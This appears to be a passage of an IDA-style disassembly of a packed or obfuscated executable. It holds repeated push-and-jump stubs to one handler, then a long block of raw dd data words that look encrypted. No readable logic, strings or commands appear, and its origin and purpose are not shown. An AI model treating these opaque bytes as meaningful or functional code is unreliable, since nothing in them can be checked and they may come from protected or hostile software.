; ---------------------------------------------------------------------------
		push	7E78E11h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E791E5h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E79266h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E79391h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E796CBh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E79A23h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E79D9Dh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E79F12h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E79F8Ah
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E79FD5h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7A039h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7A1FAh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7A2D9h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E7A4BEh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		retf	0D0F2h
; ---------------------------------------------------------------------------
		dw 263Ch
		dd 83992D4Dh, 0E3F98DA7h, 465CF004h, 0E2BB4F6Bh, 4C68431Ch
		dd 0AAC8A2B8h, 0C220016h, 6D856278h, 0F97626D9h, 13A52702h
		dd 56FC8BD0h, 5B296179h, 0B3D2667Eh, 582D2DCh, 13A6B38Bh
		dd 7B2860C9h, 13A6B480h, 4E0E3647h, 0D87809B1h,	4626h
		dd 424D4F00h, 0E99F1C6Ch, 0A713A6A9h, 0F8CEE3Eh, 13A6AA68h
		dd 0A56B7DE6h, 2AB9A113h, 0A77ABFF4h, 0C9E39C95h, 553413A6h
		dd 5F3B0941h, 0A92C0D45h, 0B5DB5FDh, 3C74946Dh,	0B2F28FA1h
		dd 77A8F50Ah, 0AFE2D8h,	560B0000h, 5B296179h, 5E2C6480h
		dd 63316981h, 0E5DA6E86h, 1442A459h, 68825EFCh,	6F836230h
		dd 31439C37h, 8E223A17h, 73509B78h, 2F88235Bh, 3F6F20F7h
		dd 0B0F072EFh, 55BE13A6h, 0C1EDA2C1h, 50FBF471h, 4EB71440h
		dd 698560FEh, 0C8E4BFD5h, 32C85674h, 0F177B762h, 1CE7h
		dd 31C5E7BFh, 8E22421Bh, 0EE829C78h, 51E5F9D8h,	0B044603Bh
		dd 5D3811D7h, 0BD97AD41h, 17F50B9Fh, 7A576D01h,	6B1BCE62h
		dd 0A52809EEh, 0F180C513h, 502C7B56h, 0A63FE36h, 6B836076h
		dd 1E9BFDD7h, 1442A059h, 8FC7DBBAh, 0EA3AA3F4h,	42A0966Dh
		dd 0C9DB4414h, 6C424DF4h, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h
		dd 12F113A6h, 1BF8C6FEh, 0C58CCB03h, 0A65DDA81h, 3413A6AAh
		dd 91A72CBh, 7DE215Dh, 0DDF7D878h, 20000000h, 29617956h
		dd 5D5D805Bh, 0DCA320ECh, 7A1442C7h, 0D678B111h, 9C4981DAh
		dd 144284A0h, 0E93C15B3h, 21BCF40Ch, 0BF9CB6C8h, 49819574h
		dd 0ABC155AEh, 8BA983CEh, 275FB853h, 0C1B63395h, 8D144285h
		dd 0A0EF1224h, 89E202DBh, 91BABC39h, 0A70913A6h, 0A69A552Ah
		dd 0CDEDC613h, 0E905E07Ch, 0ABBD16B1h, 0E5305CCCh, 42DA77E1h
		dd 0A65C3EC5h, 0DA339C13h, 0C1CEED81h, 80209DEDh, 0D21440BAh
		dd 3AB71969h, 1B894345h, 43EE9512h, 36C1B89h, 593749B2h
		dd 30C4E0BBh, 0CF233F1Ah, 6231E805h, 0BC56DC1Ch, 0EA00001Bh
		dd 465CF012h, 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh
		dd 6C8863FCh, 0CAE8C2D8h, 2C422036h, 8DA58298h,	199646F9h
		dd 13A52962h, 561CABF0h, 0B5CB5F7Bh, 5B2CC0D8h,	29617956h
		dd 0F26F7E5Bh, 1442A00Dh, 730760C9h, 0D82D44Ch,	6D451A1h
		dd 0D413A68Ch, 5857626Bh, 0E2AF28E2h, 4FB101ADh, 3B8B70EDh
		dd 300CD030h, 4A5CC516h, 0D43A3351h, 2058C1D7h,	18684649h
		dd 0F0063C9Bh, 4CEA4ADFh, 17EC576Fh, 0C3C07879h, 13B1015Ah
		dd 2C0A1C38h, 599B18Eh,	0A6FA12EFh, 9DC2F238h, 1837BDFDh
		dd 8E00001Bh, 0EA0094B6h, 475DF111h, 0A7BD516Bh, 0A20B4C8h
		dd 0A67F132Fh, 102C0740h, 6E8C667Ch, 0D0E6C4DAh, 3149263Ch
		dd 0BD3AEA9Dh, 13A52AC6h, 56C04F94h, 97296179h,	0CA021EF9h
		dd 95FA1D2Fh, 0C967C919h, 0C9C2D4ECh, 13A6BFE3h, 4D740871h
		dd 4F2ECCD9h, 5668033Bh, 2525C33h, 4293D785h, 0A8258514h
		dd 1B8AEBD3h, 0B08A167Fh, 66BF5A92h, 0C2FB6D5Dh, 0BF44C1CCh
		dd 1B1B8A7Dh, 4B9C52B2h, 0CD352E40h, 90DC3B7Eh,	0C1F919F2h
		dd 9EF11426h, 4822C010h, 0BD3A182Ah, 0C4DF7F5Fh, 1274C42Dh
		dd 1F40EE95h, 2CFC6CCBh, 0F2E11DDFh, 0EAB0C21Bh, 3987E658h
		dd 25F6A4Ch, 0ECC2CDF0h, 0BE9C3A9Ch, 257E9A75h,	474052EDh
		dd 0CCFB2768h, 0DB3D8DF6h, 124A5E3Dh, 2C4A1777h, 0F2421071h
		dd 0CAE9C6E0h, 0BA43A9B6h, 53E740E6h, 0F448603Dh, 8ABC7CF4h
		dd 248F1555h, 8200001Ah, 0DEF488AAh, 3B51E505h,	9BB1455Fh
		dd 0FE14A8BCh, 9A730723h, 420FB54h, 62805A70h, 0C4DAB8CEh
		dd 253D1A30h, 0B12EDE91h, 13A52BCAh, 56B44388h,	36542E79h
		dd 0D20A63FEh, 0CA1A94FBh, 0D5EDCA68h, 81F0CAC3h, 0F55E13A6h
		dd 0C8D93A61h, 21334F2Ah, 0CD1D91FEh, 0D9EFCD6Bh, 0FBF406A1h
		dd 1442AD2Dh, 65855EFCh, 20B7453h, 225556F7h, 0B7D887h
		dd 33A5FC83h, 98F15AB8h, 0A4ADCB48h, 0D23BBFD7h, 1981082h
		dd 0DC5881B1h, 7604D253h, 13257E3Fh, 411DBB4Dh,	9DF21527h
		dd 6744C111h, 0F3A7F37Ah, 0BF9C3A8Ah, 20FD13A7h, 973F9C01h
		dd 0B912B5E4h, 0C3B28D65h, 0A90D0B5h, 1967h, 0B145673Fh
		dd 0EA2C29Bh, 6E021CF8h, 0D1657958h, 30C4E0BBh,	0DDB89157h
		dd 3D172DC1h, 97758B1Fh, 0FAD7ED81h, 0EB9B4EE2h, 0A52B896Eh
		dd 71004513h, 29617956h, 21713D52h, 0A6833AA4h,	9FEF5813h
		dd 843BC03Dh, 0FB9713A6h, 97A90222h, 0D8C14E75h, 8402F976h
		dd 67D013A6h, 515D3255h, 0A8D68401h, 1B841442h,	28B02212h
		dd 8FE5810Ah, 651A97E7h, 0F11B8AF5h, 687D7688h,	0F6E6C841h
		dd 48C51599h, 1EADAB2Ah, 8DFF4FB8h, 69682055h, 6127394Ah
		dd 59A9058Ah, 49B0FFDCh, 0D2228B07h, 0AB3F5734h, 4CA0B895h
		dd 552A65B0h, 0B8FB81C1h, 0EE000018h, 4A60F416h, 0A7BD5171h
		dd 71DB1CBh, 6A801428h,	6DF738Fh, 708C67E0h, 0CEECC6DCh
		dd 3046243Ah, 91A9869Ch, 1D9A4AFDh, 13A52C66h, 5620AFF4h
		dd 52296179h, 0A421713Dh, 13A6ABF6h, 122A07A5h,	68B82100h
		dd 0C4D6ECCAh, 0B50B7BA2h, 9B60DDDAh, 0FC13A6ACh, 4AB30422h
		dd 2503A1F1h, 0A21FFD0Fh, 144280F4h, 132706A2h,	14A6B1BAh
		dd 0F688426Eh, 0EF03E299h, 0ABC94696h, 39B03790h, 6E280D0h
		dd 0A522B4ECh, 0BF3792DEh, 2EBA137Ch, 61273951h, 9C76058Ah
		dd 0B7EFD077h, 35C4FEEh, 87D730CBh, 0D3F2AD0Ah,	0DB58BAB8h
		dd 0A71B0524h, 2ED552B2h, 0ACA71B05h, 0F9D8EA43h, 0C5A24090h
		dd 0FE90B9A6h, 156EFB72h, 768E6B81h, 0A4AAE422h, 0DB61A1BEh
		dd 17E3h, 35C9EBC3h, 9226461Fh,	0F286A07Ch, 55E9FDDCh
		dd 0B448643Fh, 613C15DBh, 0C19BB145h, 1BF90FA3h, 7E5B7105h
		dd 6F1FD266h, 0A52D0DF2h, 0F584C913h, 29617956h, 0FD7A3D52h
		dd 1442A006h, 52A3BD99h, 0DE4090E9h, 0D9566140h, 1442A022h
		dd 0B6EE47B0h, 9410091Bh, 0DE13A525h, 0AA872575h, 0B224FE92h
		dd 8AAB3C4Eh, 0D5CEE078h, 13A5DCBEh, 811599F8h,	142C09A7h
		dd 0F30BE802h, 5F4F405Fh, 5912920Fh, 0F7601442h, 103009A7h
		dd 768D667Ch, 8DA202F9h, 0E67D01Bh, 132B08D6h, 2EC951BFh
		dd 82084862h, 173Fh, 0D96D8F67h, 36CAEAC3h, 962A4420h
		dd 0F98DA180h, 58EC08E3h, 5E0797Fh, 653F55E9h, 0BF9DB347h
		dd 22FF15A9h, 13C3760Ah, 0A52EE196h, 99286D13h,	1C6C424Dh
		dd 20B7D3AAh, 1E30CAF0h, 816CDE40h, 33185210h, 39CDD6B5h
		dd 95EE027Ch, 0EA0A8A83h, 0EF5813A5h, 0C24019Fh, 76385978h
		dd 92E5B426h, 14338846h, 0C4A72402h, 8A13AABEh,	0F557E921h
		dd 0AABE8378h, 96E64F13h, 0AABE6219h, 7587F013h, 0AABE827Ch
		dd 1F391513h, 263A19E7h, 0DA8A0DEEh, 792D3E96h,	73FFBA45h
		dd 731BD8h, 4D440000h, 9D1A6A44h, 1442A0EAh, 0E49B1878h
		dd 721442A0h, 0CB78B009h, 1442A030h, 366E8663h,	39718D68h
		dd 84FBAB82h, 0DB338CAAh, 0DF311789h, 6242B258h, 0C8F3B350h
		dd 0FB334F2Ah, 8C734E60h, 49E05BAEh, 2Dh, 0A0857772h, 88071442h
		dd 5E38D626h, 5B6D0840h, 8EA2007Dh, 14B013A6h, 0D7AC2936h
		dd 8313A68Fh, 0D468C11Ah, 687E5CFAh, 0D3E501DCh, 15F492FEh
		dd 1C2EC901h, 0C81896F9h, 0A682A54Bh, 92CA3313h, 3BCFE7C4h
		dd 0CCE8C361h, 0CDE7F994h, 0EA88D8F0h, 1FBAF210h, 9E79470Dh
		dd 0B9943282h, 0B8CA659Dh, 55118EF2h, 61F50DEAh, 1E566E4Bh
		dd 0D6F4847h, 0A682EB90h, 93FE6713h, 13A682ECh,	0F68D0A6Ah
		dd 6413A682h
		dd 0F949A2FBh, 429BAA7Ch, 0D9087814h, 6687E2F4h, 845EF24Bh
		dd 67F307E6h, 0A13C7488h, 8098758Fh, 0ADC39B48h, 43C063BCh
		dd 0C6E65803h, 743E8B31h, 4B284254h, 0AC899F33h, 2CCA5C94h
		dd 0D27394Dh, 2BE21A2Eh, 0CB691054h, 0CCC4CDF0h, 0CC071E57h
		dd 6A476173h, 85640252h, 273D5F71h, 68FA324Ah, 9BD3EFCAh
		dd 0C4CBEE00h, 0C31D9AEAh, 919459F0h, 0A70018F5h, 820FD13h
		dd 0A2802D0h, 0B5F16ED2h, 41D5EDCAh, 0E6364E2Bh, 0CD700784h
		dd 75DE9BA1h, 0C9C69D63h, 661895E5h, 0EC9C45FFh, 0BC953383h
		dd 3DC9649Ch, 740F4761h, 4D2A4062h, 4A3B212Eh, 24F25270h
		dd 5FAF086Bh, 82B3DBEDh, 0B9548CA6h, 7DE9CB59h,	7F8A56Bh
		dd 7D93854Ch, 0F6D34AFAh, 80B8CCABh, 9E3C8CE5h,	7597A9C1h
		dd 336B815Fh, 366E8A65h, 8772FF8h, 26C4142Ah, 422FC4Bh
		dd 9D7799ABh, 0D30B21FFh, 0D9112705h, 7D59E53Eh, 7E902B63h
		dd 38708664h, 3F778B6Ah, 447C9471h, 0BE7C9776h,	1186AF48h
		dd 0B1538BE4h, 6E38A3DDh, 3FBCDE4Ch, 0AC294B07h, 5EA785F8h
		dd 7B0F6882h, 0A9602FA1h, 0F9418BB7h, 0FA5DCF99h, 0DDEF45FBh
		dd 97CFE5C3h, 8FDFCFC0h, 61947C12h, 5991FAB4h, 0A49BCBA2h
		dd 61CB0C6h, 47D91129h,	0A0B2CEA9h, 0FC9AA986h,	33CE0620h
		dd 0E99833C8h, 0DD369FBBh, 0E69E67A5h, 32829A77h, 68A0B694h
		dd 11DE6DCDh, 0E13C7FB1h, 29D6ADCFh, 0AE30B05Fh, 44h, 17F492D7h
		dd 7425C7FFh, 0F2B2B7ACh, 9BB5C720h, 0B957A7BDh, 0EE89C1DFh
		dd 503F16DCh, 0B7910E5Eh, 0BD13A606h, 0EB09584Dh, 3790D5BAh
		dd 32D5A3h, 0E95B0000h,	0E9D36408h, 0C23F8F07h,	13A6B03Dh
		dd 491E3099h, 0EE6B7856h, 1442A009h, 0CB035CC5h, 0C3139BF4h
		dd 0CDE7C361h, 0EFE8FA95h, 13A6B99Dh, 8556EA53h, 107FC145h
		dd 3D14E9Eh, 0D113A68Ch, 73F5935h, 0FF0A136Ch, 0E7159B78h
		dd 61B1FD92h, 31E286E4h, 58E355EFh, 80D11722h, 0A50EEDFFh
		dd 0BEDEB755h, 800FE6ACh, 4261DE2Eh, 1017DDD8h,	0DCB957A7h
		dd 0FDD674C4h, 0AA0AA5DDh, 1D4810FBh, 799BAD55h, 0DF672D9Fh
		dd 82B64DCAh, 0BB24181Dh, 272F715Bh, 95A7BD9Bh,	7A539E7Bh
		dd 2E87225Ah, 9DDD40DAh, 0A72D6D65h, 136Bh, 0AD41633Bh
		dd 0A9EBE97h, 6AFE18F4h, 0CD617554h, 2CC0DCB7h,	0D9B4AD53h
		dd 391329BDh, 9371871Bh, 0F6D3E97Dh, 0E7974ADEh, 0A531956Ah
		dd 6DFC4113h, 0FE18F492h, 6B7D9572h, 42A18D72h,	0AFD84A14h
		dd 0E202585Dh, 127DA0B2h, 77DA4C9Ch, 519F859h, 8DD232CDh
		dd 411F316Dh, 0A67D86C4h, 9BEB5413h, 0FBD61FFDh, 800CA7DFh
		dd 0BA558DA1h, 0D9B7CD61h, 0E0BD8BC3h, 0EAB074C8h, 0D1116A18h
		dd 12EA4Bh, 0C2E4BC00h,	1F3F182Eh, 7F99758Bh, 0E2F6D5EBh
		dd 415D384Eh, 352ED4ADh, 94AA3E5Ah, 0F2089CBAh,	546AFE14h
		dd 18CB5F77h, 3214EB68h, 7DC213A5h, 75424DEEh, 42A003F8h
		dd 0D66CF14h, 0B60240BDh, 67D013A6h, 0B553B517h, 0EC87BFD9h
		dd 0A6B7FA81h, 0DDEF5813h, 56D3EAC3h, 13A6B7A1h, 9BB5912Dh
		dd 166FC863h, 0BFCC54C6h, 0AC3DD26Dh, 8962789Ah, 86633169h
		dd 0A6801E6Eh, 129E1781h, 95EEB2CAh, 0EAB0C25Dh, 35285C33h
		dd 4EEC3C5Ch, 26485A70h, 474E9AFFh, 59325E67h, 0FD6F0139h
		dd 9FE57EF2h, 0DD6946h,	23DDD6E8h, 0B613A61Eh, 8D66D98Dh
		dd 0EAC3D96Dh, 0D4BB92CAh, 3CB9CCA7h, 13A61E47h, 1951AA13h
		dd 58D5257Eh, 14419B7Ch, 0DB4D9D06h, 7CDB762Ch,	0CAA632A0h
		dd 0CBDD78B0h, 0BF198BEDh, 0CDACEA98h, 77546E80h, 0D8B5CB5Fh
		dd 0A795B9h, 0D0E265E9h, 523C8D0Bh, 6CA4FD56h, 64B4FA95h
		dd 71856402h, 0E4CD665Fh, 28911C69h, 455D3AD8h,	0A6BE9BB1h
		dd 0B6F8976Eh, 0F0CBE966h, 30990412h, 656C52DCh, 0BD438352h
		dd 11BFh, 59ED0FE7h, 0B64A6A43h, 16AAC4A0h, 790D2100h
		dd 0D86C8863h, 8560F9FFh, 0E5BFD569h, 3F1D33C7h, 0A27F9529h
		dd 9343F68Ah, 0A5336116h, 19A8ED13h, 42A08977h,	213E1C14h
		dd 0F1A40D69h, 4CE03993h, 0EC931072h, 6A1442BFh, 25B5A101h
		dd 5B7F7BF0h, 45692649h, 92E778F5h, 42AB13A5h, 5E7854F2h
		dd 0F492F9CAh, 26C80016h, 43C66A81h, 0EA76CF98h, 1EB9F111h
		dd 7CE310Ch, 9607E7DFh,	30000001h, 246B434Dh, 0A06B1592h
		dd 0C1A81442h, 0D339927Ah, 3092F795h, 42A0CCB3h, 0F218A14h
		dd 0FCD5A6ECh, 0B009A4DCh, 4D0AC169h, 0A4166648h, 933740F6h
		dd 1AEF0181h, 0FD19F492h, 81182AC5h, 0E59A959Ah, 7E1CE55Fh
		dd 804E86A4h, 0B65189A5h, 53AC4B5Dh, 0D5000000h, 2269454Dh
		dd 0C91AF492h, 0FF9AD2EEh, 83D36EA6h, 42A07106h, 6274DD14h
		dd 0A0750784h, 72DB1442h, 0BC43C022h, 1A1442A0h, 304825B1h
		dd 764B5DF8h, 30923992h, 42A0CCB3h, 0F218A14h, 0B8FF19F5h
		dd 329E5B70h, 24000000h, 0A0BE45C2h, 0B31C1442h, 454DCCA1h
		dd 0F4922269h, 2EC90115h, 3FC13E1Ch, 541442A0h,	3992266Dh
		dd 532D7A56h, 0A03AC13Eh, 2F981442h, 70367DD6h,	17F4925Bh
		dd 0A1D9EDCCh, 0C09BAD06h, 0E55FE56Fh, 5DA8h, 484DD100h
		dd 15921F66h, 1442A06Bh, 5A6E4DE9h, 0E72E8722h,	51AF492h
		dd 42A0F388h, 9DF65F14h, 5654AD8Bh, 92165D7Dh, 0AA51CE30h
		dd 281442A0h, 0A0AF54BFh, 0C22B1442h, 0F492B0B0h, 31C3FB1Bh
		dd 42A0CFB4h, 0C9228B14h, 609EE2B7h, 24000000h,	8B265AB2h
		dd 0C15C94B0h, 0D7651561h, 484DF0C5h, 30921F66h, 0FB02B2BEh
		dd 32CD051Fh, 46BCD5D2h, 7B164E6Ch, 65171022h, 0AA144294h
		dd 94A84FCCh, 8A261442h, 0DF3891B1h, 0CE309298h, 0D065C5Ch
		dd 0E954613Ah, 14427D12h, 0F0CB57C0h, 56EDC2D4h, 92165D7Dh
		dd 0A0CCB330h, 218A1442h, 9EFA0F0Fh, 0FFFFFE4Eh, 6C424D2Dh
		dd 8AA07E1Ch, 0F90B1FFEh, 8E47B91Bh, 898A15E3h,	3089A781h
		dd 0E5A1251Eh, 8AF313A5h, 0A4C29C3Ah, 0E1BFD16Ch, 0DA576643h
		dd 13AAE625h, 9FEF48B1h, 0D40C2401h, 0BACEAD39h, 0B3D5E782h
		dd 455F3BD9h, 2D811033h, 0E69B60DDh, 0CE3713AAh, 0E610E996h
		dd 0AE8713AAh, 0AA88568Eh, 0CEA55C94h, 3082DA96h, 16765CCEh
		dd 0C78B7927h, 0AAE0A75Ch, 3ECA3313h, 97344664h, 0DD50AFEFh
		dd 2E85D873h, 0AE000000h, 42A08477h, 1A320F14h,	0A0EF9186h
		dd 6E211442h, 0AD73F040h, 6B13A6A6h, 32946E02h,	0A6A6CEB5h
		dd 97238C13h, 0BD8FA1BBh, 0A6h,	39424D4Ch, 99E9425Eh, 0F6D41DFBh
		dd 977587E0h, 0A681201Ah, 75C52E13h, 4FE3F9D7h,	36125B39h
		dd 0B48BC31Ch, 683D3DBh, 14410496h, 1F461FBDh, 7B3231FBh
		dd 4E86DF13h, 59C2A1B3h, 778D6B09h, 0B19709E3h,	0F067D810h
		dd 0DEB0517h, 0A7E8BFF7h, 73AB707h, 531C6E54h, 1FFC9AEAh
		dd 27997307h, 33B64D6Fh, 738D9F7Fh, 0E2A7E96h, 0DB5A4A21h
		dd 0E85159Bh, 49210000h, 0A47D9327h, 0FEDAF084h, 5B3A50E4h
		dd 0C29DB347h, 0B33912A6h, 0FA3BF9Ah, 6D011FF9h, 0CF637957h
		dd 30C4DCB9h, 0AB50CD7Dh, 2713A536h, 795653E2h,	35972961h
		dd 42A0C3B8h, 14268F14h, 0CD051DFAh, 9F9EC68Fh,	3F16AAC2h
		dd 0E05C1DC0h, 4D15h, 424D3E00h, 25216265h, 55E4414h, 57DA38B5h
		dd 3FA813A6h, 115C3907h, 42E41C34h, 97F76E7Ah, 0D32C8595h
		dd 344C293Fh, 446A25FCh, 40C577F4h, 1A8C1442h, 0F2CE27CDh
		dd 0F0F978D8h, 0F46989E9h, 0CEFEE674h, 6341DDBCh, 217A154Dh
		dd 2092BC8Dh, 9E48AE0Fh, 0BCBB27A8h, 9083A909h
		dd 0D0A9C3D5h, 2D061CB0h, 57B0006h, 17707166h, 364A29C7h
		dd 0C5B15E24h, 9014424Dh, 0E8FA18F2h, 66E3F0CEh, 14424D91h
		dd 0BA0B2702h, 8A64F851h, 0E5C112ECh, 9FF893CBh, 97BACC67h
		dd 0E966B6F8h, 13A5C87Bh, 0B44BC82Ah, 2213AAD2h, 5FC8A7B9h
		dd 7B95710Fh, 6A9516E7h, 2CE7DFE5h, 5D95B58Eh, 0A0A94ECBh
		dd 0BC2514C2h, 23B25163h, 0DB000001h, 246B434Dh, 0A06B1592h
		dd 0C1A81442h, 8720927Ah, 4005C0C2h, 6B9D2585h,	0EC8A2CE0h
		dd 0D3A3FCDAh, 454DF795h, 0A00EF572h, 63CC1442h, 1C1C30Ah
		dd 0A05D229Fh, 90F91442h, 484DA97Eh, 0E9D91F66h, 442A5D77h
		dd 1F31E7A9h, 0E59A954Ah, 2C5BE55Fh, 7B000000h,	0B657AB09h
		dd 0B3FE8C99h, 2593A8DCh, 0A3788AE3h, 2269454Dh, 0A06B1592h
		dd 80E91442h, 56399239h, 7019607Ah, 169E5Bh, 4D2D0000h
		dd 92226945h, 42A06B15h, 7AC1A814h, 7A563992h, 5B701960h
		dd 0FE18F492h, 0E61E11ECh, 49D7E55Fh, 0
		dd 1F66484Dh, 0B5923092h, 3D758D6Ah, 761149A2h,	0A0916B64h
		dd 0D63F1442h, 0AC20928Fh, 9EE0E526h, 9B2555A3h, 26CEE33Bh
		dd 5DF8304Ah, 0BB14F204h, 115F492h, 21C2EC9h, 1BB90929h
		dd 4015273Dh, 319E5B70h, 2D000000h, 1F66484Dh, 0B6923092h
		dd 5EC9649Ch, 1442A099h, 0DCBACC35h, 42A09D5Fh,	0BB0BF214h
		dd 0EF27411Dh, 926D4254h, 5D7D5639h, 0B4527016h, 0D4A9BBDBh
		dd 0FFFEC59Eh, 424D2DFFh, 279F1C6Ch, 6D13A525h,	7EDEF2D1h
		dd 6A8E8399h, 0DD2D86A6h, 0B64A623Fh, 64B4FA97h, 97FE8502h
		dd 0F35C13A5h, 975126A3h, 94FD13A5h, 5027A482h,	0FE13A597h
		dd 0C9B05D95h, 4E13A597h, 54225A70h, 95275F77h,	0A5976318h
		dd 1186EF13h, 0EE460A3Ah, 0AF5A9DDh, 0CBD874E6h, 28h, 0A08477F4h
		dd 320F1442h, 4F2CCA1Ah, 1464FF37h, 42A0E097h, 0F3056E14h
		dd 0C385F7D1h, 1850C66Ah, 0C3F8CADCh, 87000000h, 0F875424Dh
		dd 1442A003h, 0BD0D66CFh, 0A6BD3640h, 0E3339C13h, 0BD516745h
		dd 63B3C9A7h, 0BFD1E7C5h, 416D22F9h, 18F18FF1h,	0F5EDE6F8h
		dd 0A714413Bh, 1A8CEE3Eh, 6558528h, 7BB5A95Bh, 75B5A707h
		dd 4136B303h, 0D1B89CFh, 9A7892A4h, 0FCDAF084h,	382496E6h
		dd 96027938h, 8A1CE2F4h, 62FB3918h, 798BE4C7h, 25753956h
		dd 6ED091A8h, 4925C11Ch, 0E886D62Fh, 31A3F30Bh,	0AFF2E197h
		dd 5F81938Ah, 45216C49h, 0C47ED22Bh, 395A4ADAh,	0B2D73F9h
		dd 0A1790000h, 0FCD5EB7Fh, 563248DCh, 0B392A83Ch, 1AF50B9Fh
		dd 6B916AFEh, 67FB17F2h, 0C5597751h, 27BBD1AFh,	881C3411h
		dd 0D3A825D5h, 7F13A53Ah, 7956AB3Ah, 90C7E35Ah,	0B50EEDEEh
		dd 0D0ECC765h, 0F466F8BEh, 34587F77h, 0B8D2E437h, 4D8BC3DBh
		dd 805DC084h, 330F5635h, 0ED88C019h, 0D6290094h, 0FFE05BBDh
		dd 58h,	6C424D28h, 0BD3D9F1Ch, 0EA5313A6h, 0E807E4B2h
		dd 21BC77F3h, 0F04099E2h, 21597952h, 58B0617Fh,	7FD89328h
		dd 58354B6Dh, 0D8760840h, 11ACE4FAh, 0FBB3DCFFh, 14340DABh
		dd 50C22402h, 0CD3DA2A4h, 3C354768h, 1442F0CAh,	51FFB99h
		dd 412032CDh, 78B0C8A5h, 1FF084DDh, 0C95D7D56h,	42A026D4h
		dd 859B7914h, 0FABDD2F1h, 2E66805Ch, 0A0532893h, 63FF1442h
		dd 0BC156E86h, 2574EF6Ch, 9D3B13A5h, 0D46FA7C1h, 2A7AE3C2h
		dd 296B08Ch, 0E56A9531h, 8E2CE7DFh, 0C35E96B4h,	17B12B1h
		dd 923B0000h, 0A0CCB330h, 0EE8A1442h, 28C3FB0Fh, 0F69ABDCFh
		dd 159271B8h, 1442A06Bh, 0D622BAA8h, 0CC29AE8Fh, 0F34C6240h
		dd 923992ACh, 5CBA2320h, 0CADC7624h, 92517F2Dh,	0EF0115F4h
		dd 0A1E8C6CCh, 0B3923092h, 61CC679Fh, 1442A09Ah, 0EBDCF38h
		dd 66484D57h, 839B7816h, 0C99EB04Bh, 0F492F2D9h, 11ECFE18h
		dd 0E55FE61Eh, 72D7h, 0F4920000h, 0CAEDFF17h, 0BED6B3C8h
		dd 73F5332h, 92CC136Ch,	0F760BE20h, 62741186h, 0E1750784h
		dd 7BDB1442h, 42E179FEh, 0C6CD514h, 0F0082CF7h,	60A700ECh
		dd 7A563992h, 98721060h, 47A7427Ah, 9083A81h, 320719E9h
		dd 0B9923092h, 5BC66199h, 1442A0A4h, 0A3B79632h, 2338384Ah
		dd 0FC1AF492h, 451729C4h, 2Ah, 17EC69CBh, 0C31442A0h, 4D73485Ah
		dd 365D3645h, 92D4F86Fh, 88E13A7Eh, 6B159241h, 0A81442A0h
		dd 39927AC1h, 19607A56h, 9A955B70h, 1CE55FE5h, 528AA07Eh
		dd 2C06A5B7h, 2F000000h, 1F66484Dh, 0A06B1592h,	80E91442h
		dd 56399239h, 31512A7Dh, 5B7091D8h, 4A9Eh, 0AD862400h
		dd 3BC03D8Dh, 971442A0h, 92471C2Eh, 0DD76A420h,	0A6B87EFEh
		dd 8B691283h, 49A23D75h, 32209202h, 680F6BBDh, 61FCACDEh
		dd 409975D7h, 29D3502Eh, 66144281h, 2092387Fh, 0CCD00597h
		dd 7C5A6C9Ch, 5D7D5623h, 9E5B7016h, 0FFFFFE75h,	6C424D2Dh
		dd 25279F1Ch, 46D13A5h,	1A3916B4h, 546B493Eh, 11BF728h
		dd 49D52EC9h, 65F9526Eh, 52304B46h, 5B36043Ch, 3D8DE63Fh
		dd 0A5E13BC0h, 0F62E9713h, 0A5E1B049h, 5A0A1B13h, 0BB40BD1Fh
		dd 1713A5E1h, 3EC19CAEh, 97D874DCh, 21h, 0A08477C0h, 320F1442h
		dd 0EB68CA1Ah, 1442A014h, 0FCFA9DB3h, 0BC0D5015h, 511F4153h
		dd 0BCh, 6C424DE0h, 0A1119F1Ch,	0D63F13A6h, 0ED0AE886h
		dd 3E8B36B8h, 67FB548Eh, 255D7351h, 0CFB43193h,	8B13A6D3h
		dd 0A2ED1022h, 3F1EBC0Ch, 0CC58F32Bh, 6A1D9EDh,	16B416F4h
		dd 0F812EE39h, 948D9Fh,	52144156h, 993799E9h, 0D26DA5BBh
		dd 0B2C8A6C0h, 2BD2441Eh, 6F9AC856h, 0A65DDA2Ah, 341B89D3h
		dd 0C19FB9CBh, 96A455A4h, 87E02FB4h, 9717784Fh,	6977CA47h
		dd 7AE31C6Eh, 97AF8C2Ah, 0F810ED03h, 4A96A8A4h,	0A329695Ah
		dd 7B3h, 65F91BF3h, 0C256764Fh,	22B6D0ACh, 85192D0Ch, 0E478946Fh
		dd 916CE50Bh, 0F1CBE175h, 4B293FD3h, 0AE8BA135h, 9F4F0296h
		dd 0A53D5D22h, 25B4F913h, 522E7956h, 6B141031h,	217A1EA4h
		dd 0E5C290C8h, 8E5795CDh, 2831A3D6h, 0CB69832Fh, 66435D6Fh
		dd 0EA22421Bh, 8B62F64Fh, 0E05BA374h, 3661h, 0A21F8100h
		dd 1442C2DDh, 29FE1079h, 1C6C424Dh, 0A68B219Fh,	0CE066F13h
		dd 3185CA3Ch, 9AB8A912h, 394BA4BEh, 0A69DBF40h,	4BFB0C13h
		dd 77D4EC13h, 3DE9D8h, 4D120000h, 9F1C6C42h, 13A6AD3Dh
		dd 0E4B2EA53h, 3D9FEF07h, 0A6AE3BC0h, 641B9813h, 0F213A6AEh
		dd 0BDCF3889h, 90A8859Bh, 0A00E8158h, 0AFE5D350h, 0A731442h
		dd 0D2A9C76h, 0BCD15ADBh, 459E7385h, 0A3147BCDh, 42A05126h
		dd 3B94FD14h, 770C89EBh, 0E31442A0h, 0B0671A7Ah, 82035A94h
		dd 47159270h, 1513A658h, 15B3A3ACh, 0B8921E3Ah,	4B8F889Ah
		dd 0AD3D1EAh, 65778F6Ch, 11614D42h, 5F82289Fh, 0A1C42C0Dh
		dd 0AEC92927h, 502E4084h, 390C7CEEh, 416E47FDh,	0C29307E1h
